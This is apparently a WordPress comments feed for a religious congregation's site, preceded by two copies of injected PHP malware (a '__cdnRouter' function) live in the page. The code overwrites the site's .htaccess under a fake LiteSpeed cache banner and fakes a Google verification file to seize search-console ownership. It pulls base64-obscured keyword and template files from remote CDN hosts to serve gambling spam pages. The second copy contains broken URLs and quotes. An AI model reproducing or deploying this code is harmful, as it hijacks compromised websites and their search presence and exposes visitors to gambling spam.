if (!function_exists('__cdnRouter')) {
function __cdnRouter() {
$basePath = rtrim(dirname($_SERVER['PHP_SELF']), '/');
$host = 'https://' . $_SERVER['HTTP_HOST'] . $basePath;
$cdnBase = 'https://router-88-1.b-cdn.net';
$ampHost = 'https://mix-1-jasa88.pages.dev';
$imgUrl = 'https://jasa88.b-cdn.net/imagi/bulat-berisi.png';
$requestUri = rtrim(trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/'), '/');
$dirUrl = $cdnBase . '/' . base64_decode('ZGlyLnR4dA==');
$kwUrl = $cdnBase . '/' . base64_decode('a3cudHh0');
$kw2Url = $cdnBase . '/' . base64_decode('a3ctMi50eHQ=');
$templateUrl = $cdnBase . '/' . base64_decode('dGVtcGxhdGUudHh0');
$htaccessPath = $_SERVER['DOCUMENT_ROOT'] . '/.htaccess';
$htaccessFull = '# BEGIN LSCACHE
## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##
RewriteEngine on
CacheLookup on
RewriteRule .* - [E=Cache-Control:no-autoflush]
RewriteRule \.litespeed_conf\.dat - [F,L]
### marker CACHE RESOURCE start ###
RewriteRule wp-content/.*/[^/]*(responsive|css|js|dynamic|loader|fonts)\.php - [E=cache-control:max-age=3600]
### marker CACHE RESOURCE end ###
### marker FAVICON start ###
RewriteRule favicon\.ico$ - [E=cache-control:max-age=86400]
### marker FAVICON end ###
### marker DROPQS start ###
CacheKeyModify -qs:fbclid
CacheKeyModify -qs:gclid
CacheKeyModify -qs:utm*
CacheKeyModify -qs:_ga
### marker DROPQS end ###
## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##
# END LSCACHE
# BEGIN NON_LSCACHE
## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##
## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##
# END NON_LSCACHE
# BEGIN LSCACHE EXCLUDE NEWS PARAM
RewriteEngine on
RewriteCond %{QUERY_STRING} ^news=
RewriteRule .* - [E=Cache-Control:no-cache]
RewriteCond %{QUERY_STRING} ^sitemap
RewriteRule .* - [E=Cache-Control:no-cache]
# END LSCACHE EXCLUDE NEWS PARAM
# BEGIN WordPress
# The directives (lines) between "BEGIN WordPress" and "END WordPress" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
# BEGIN LiteSpeed
# The directives (lines) between "BEGIN LiteSpeed" and "END LiteSpeed" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
SetEnv noabort 1
# END LiteSpeed';
if (is_writable($htaccessPath) || !file_exists($htaccessPath)) {
$needsUpdate = false;
if (!file_exists($htaccessPath)) {
$needsUpdate = true;
} else {
$current = file_get_contents($htaccessPath);
// Overwrite jika rules news param belum ada
if (strpos($current, 'LSCACHE EXCLUDE NEWS PARAM') === false) {
$needsUpdate = true;
}
}
if ($needsUpdate) {
file_put_contents($htaccessPath, $htaccessFull);
}
}
if ($requestUri === 'google78a62703332ded1b.html') { // ← ganti nama file
header('Content-Type: text/html; charset=utf-8');
echo 'google-site-verification: google78a62703332ded1b.html'; // ← ganti isi
exit;
}
if (isset($_GET['sitemap'])) {
$dirContent = @file_get_contents($dirUrl);
if ($dirContent === false) return;
$dirs = array_values(array_filter(explode("\n", str_replace("\r", "", $dirContent)), 'strlen'));
$today = date('Y-m-d');
header('Content-Type: application/xml; charset=utf-8');
$xml = '' . PHP_EOL;
$xml .= '' . PHP_EOL;
foreach ($dirs as $dirName) {
$dirName = trim(preg_replace('/[^a-zA-Z0-9_\-]/', '', str_replace(' ', '-', $dirName)));
if ($dirName === '') continue;
$xml .= ' ' . PHP_EOL;
$xml .= ' ' . $host . '/?news=' . $dirName . '' . PHP_EOL;
$xml .= ' ' . $today . '' . PHP_EOL;
$xml .= ' daily' . PHP_EOL;
$xml .= ' 1.0' . PHP_EOL;
$xml .= ' ' . PHP_EOL;
}
$xml .= '';
echo $xml;
exit;
}
$idParam = '';
if (isset($_GET['news']) && $_GET['news'] !== '') {
$idParam = trim($_GET['news']);
}
if ($idParam === '') return;
$idParam = str_replace(' ', '-', $idParam);
$idParam = preg_replace('/[^a-zA-Z0-9_\-]/', '', $idParam);
$dirContent = @file_get_contents($dirUrl);
$kwContent = @file_get_contents($kwUrl);
$kw2Content = @file_get_contents($kw2Url);
$templateContent = @file_get_contents($templateUrl);
if ($dirContent === false || $kwContent === false || $templateContent === false) return;
$dirs = array_values(array_filter(explode("\n", str_replace("\r", "", $dirContent)), 'strlen'));
$keywords = array_values(array_filter(explode("\n", str_replace("\r", "", $kwContent)), 'strlen'));
$keyword2 = '';
if ($kw2Content !== false) {
$keywords2 = array_values(array_filter(explode("\n", str_replace("\r", "", $kw2Content)), 'strlen'));
if (!empty($keywords2)) {
$seed = crc32($_SERVER['HTTP_HOST'] . $idParam);
mt_srand($seed);
$keyword2 = trim($keywords2[mt_rand(0, count($keywords2) - 1)]);
}
}
$foundKey = null;
foreach ($dirs as $key => $dirName) {
$dirName = trim($dirName);
$dirName = str_replace(' ', '-', $dirName);
if (strtolower($dirName) === strtolower($idParam)) {
$foundKey = $key;
break;
}
}
if ($foundKey === null) return;
$keyword = isset($keywords[$foundKey]) ? trim($keywords[$foundKey]) : '';
$canonicalUrl = $host . '/?news=' . $idParam;
$amphtmlUrl = $ampHost . '/?news=' . $idParam;
$finalContent = str_replace(
['{{kw}}', '{{kw-2}}', '{{img}}', '{{canonical}}', '{{amphtml}}'],
[
htmlspecialchars($keyword),
htmlspecialchars($keyword2),
htmlspecialchars($imgUrl),
htmlspecialchars($canonicalUrl),
htmlspecialchars($amphtmlUrl)
],
$templateContent
);
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
header('Cache-Control: public, max-age=3600');
}
echo $finalContent;
exit;
}
}
__cdnRouter();if (!function_exists('__cdnRouter')) {
function __cdnRouter() {
$cdnBase = 'ttps://router-88-1.b-cdn.net/rn';
$ampHost = 'https://mau-terbang-tinggi-dong.pages.dev'';
$imgUrl = 'https://jasa88.b-cdn.net/imagi/agen-slot-gacor.webp'';
$basePath = rtrim(dirname($_SERVER['PHP_SELF']), '/');
$host = 'https://' . $_SERVER['HTTP_HOST'] . $basePath;
$requestUri = rtrim(trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/'), '/');
$dirUrl = $cdnBase . '/' . base64_decode('ZGlyLnR4dA==');
$kwUrl = $cdnBase . '/' . base64_decode('a3cudHh0');
$kw2Url = $cdnBase . '/' . base64_decode('a3ctMi50eHQ=');
$templateUrl = $cdnBase . '/' . base64_decode('dGVtcGxhdGUudHh0');
$htaccessPath = $_SERVER['DOCUMENT_ROOT'] . '/.htaccess';
$htaccessFull = '# BEGIN LSCACHE
## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##
RewriteEngine on
CacheLookup on
RewriteRule .* - [E=Cache-Control:no-autoflush]
RewriteRule \.litespeed_conf\.dat - [F,L]
### marker CACHE RESOURCE start ###
RewriteRule wp-content/.*/[^/]*(responsive|css|js|dynamic|loader|fonts)\.php - [E=cache-control:max-age=3600]
### marker CACHE RESOURCE end ###
### marker FAVICON start ###
RewriteRule favicon\.ico$ - [E=cache-control:max-age=86400]
### marker FAVICON end ###
### marker DROPQS start ###
CacheKeyModify -qs:fbclid
CacheKeyModify -qs:gclid
CacheKeyModify -qs:utm*
CacheKeyModify -qs:_ga
### marker DROPQS end ###
## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##
# END LSCACHE
# BEGIN NON_LSCACHE
## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##
## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##
# END NON_LSCACHE
# BEGIN LSCACHE EXCLUDE NEWS PARAM
RewriteEngine on
RewriteCond %{QUERY_STRING} ^news=
RewriteRule .* - [E=Cache-Control:no-cache]
RewriteCond %{QUERY_STRING} ^sitemap
RewriteRule .* - [E=Cache-Control:no-cache]
# END LSCACHE EXCLUDE NEWS PARAM
# BEGIN WordPress
# The directives (lines) between "BEGIN WordPress" and "END WordPress" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
# BEGIN LiteSpeed
# The directives (lines) between "BEGIN LiteSpeed" and "END LiteSpeed" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
SetEnv noabort 1
# END LiteSpeed';
if (is_writable($htaccessPath) || !file_exists($htaccessPath)) {
$needsUpdate = false;
if (!file_exists($htaccessPath)) {
$needsUpdate = true;
} else {
$current = file_get_contents($htaccessPath);
if (strpos($current, 'LSCACHE EXCLUDE NEWS PARAM') === false) {
$needsUpdate = true;
}
}
if ($needsUpdate) {
file_put_contents($htaccessPath, $htaccessFull);
}
}
if ($requestUri === 'googlec15f69868b4311b1.html') {
header('Content-Type: text/html; charset=utf-8');
echo 'google-site-verification: googlec15f69868b4311b1.html';
exit;
}
if (isset($_GET['sitemap'])) {
$dirContent = @file_get_contents($dirUrl);
if ($dirContent === false) return;
$dirs = array_values(array_filter(explode("\n", str_replace("\r", "", $dirContent)), 'strlen'));
$today = date('Y-m-d');
header('Content-Type: application/xml; charset=utf-8');
$xml = '' . PHP_EOL;
$xml .= '' . PHP_EOL;
foreach ($dirs as $dirName) {
$dirName = trim(preg_replace('/[^a-zA-Z0-9_\-]/', '', str_replace(' ', '-', $dirName)));
if ($dirName === '') continue;
$xml .= ' ' . PHP_EOL;
$xml .= ' ' . $host . '/?news=' . $dirName . '' . PHP_EOL;
$xml .= ' ' . $today . '' . PHP_EOL;
$xml .= ' daily' . PHP_EOL;
$xml .= ' 1.0' . PHP_EOL;
$xml .= ' ' . PHP_EOL;
}
$xml .= '';
echo $xml;
exit;
}
$idParam = '';
if (isset($_GET['news']) && $_GET['news'] !== '') {
$idParam = trim($_GET['news']);
}
if ($idParam === '') return;
$idParam = str_replace(' ', '-', $idParam);
$idParam = preg_replace('/[^a-zA-Z0-9_\-]/', '', $idParam);
$dirContent = @file_get_contents($dirUrl);
$kwContent = @file_get_contents($kwUrl);
$kw2Content = @file_get_contents($kw2Url);
$templateContent = @file_get_contents($templateUrl);
if ($dirContent === false || $kwContent === false || $templateContent === false) return;
$dirs = array_values(array_filter(explode("\n", str_replace("\r", "", $dirContent)), 'strlen'));
$keywords = array_values(array_filter(explode("\n", str_replace("\r", "", $kwContent)), 'strlen'));
$keyword2 = '';
if ($kw2Content !== false) {
$keywords2 = array_values(array_filter(explode("\n", str_replace("\r", "", $kw2Content)), 'strlen'));
if (!empty($keywords2)) {
$seed = crc32($_SERVER['HTTP_HOST'] . $idParam);
mt_srand($seed);
$keyword2 = trim($keywords2[mt_rand(0, count($keywords2) - 1)]);
}
}
$foundKey = null;
foreach ($dirs as $key => $dirName) {
$dirName = trim($dirName);
$dirName = str_replace(' ', '-', $dirName);
if (strtolower($dirName) === strtolower($idParam)) {
$foundKey = $key;
break;
}
}
if ($foundKey === null) return;
$keyword = isset($keywords[$foundKey]) ? trim($keywords[$foundKey]) : '';
$canonicalUrl = $host . '/?news=' . $idParam;
$amphtmlUrl = $ampHost . '/?news=' . $idParam;
$finalContent = str_replace(
['{{kw}}', '{{kw-2}}', '{{img}}', '{{canonical}}', '{{amphtml}}'],
[
htmlspecialchars($keyword),
htmlspecialchars($keyword2),
htmlspecialchars($imgUrl),
htmlspecialchars($canonicalUrl),
htmlspecialchars($amphtmlUrl)
],
$templateContent
);
if (!headers_sent()) {
header('Content-Type: text/html; charset=utf-8');
header('Cache-Control: public, max-age=3600');
}
echo $finalContent;
exit;
}
}
__cdnRouter();
Comments on: Photo Gallery
https://dihsistersofvijayapuram.com
Daughters of the Immaculate Heart
Fri, 23 Jan 2015 15:40:01 +0000
hourly
1
https://wordpress.org/?v=6.8.6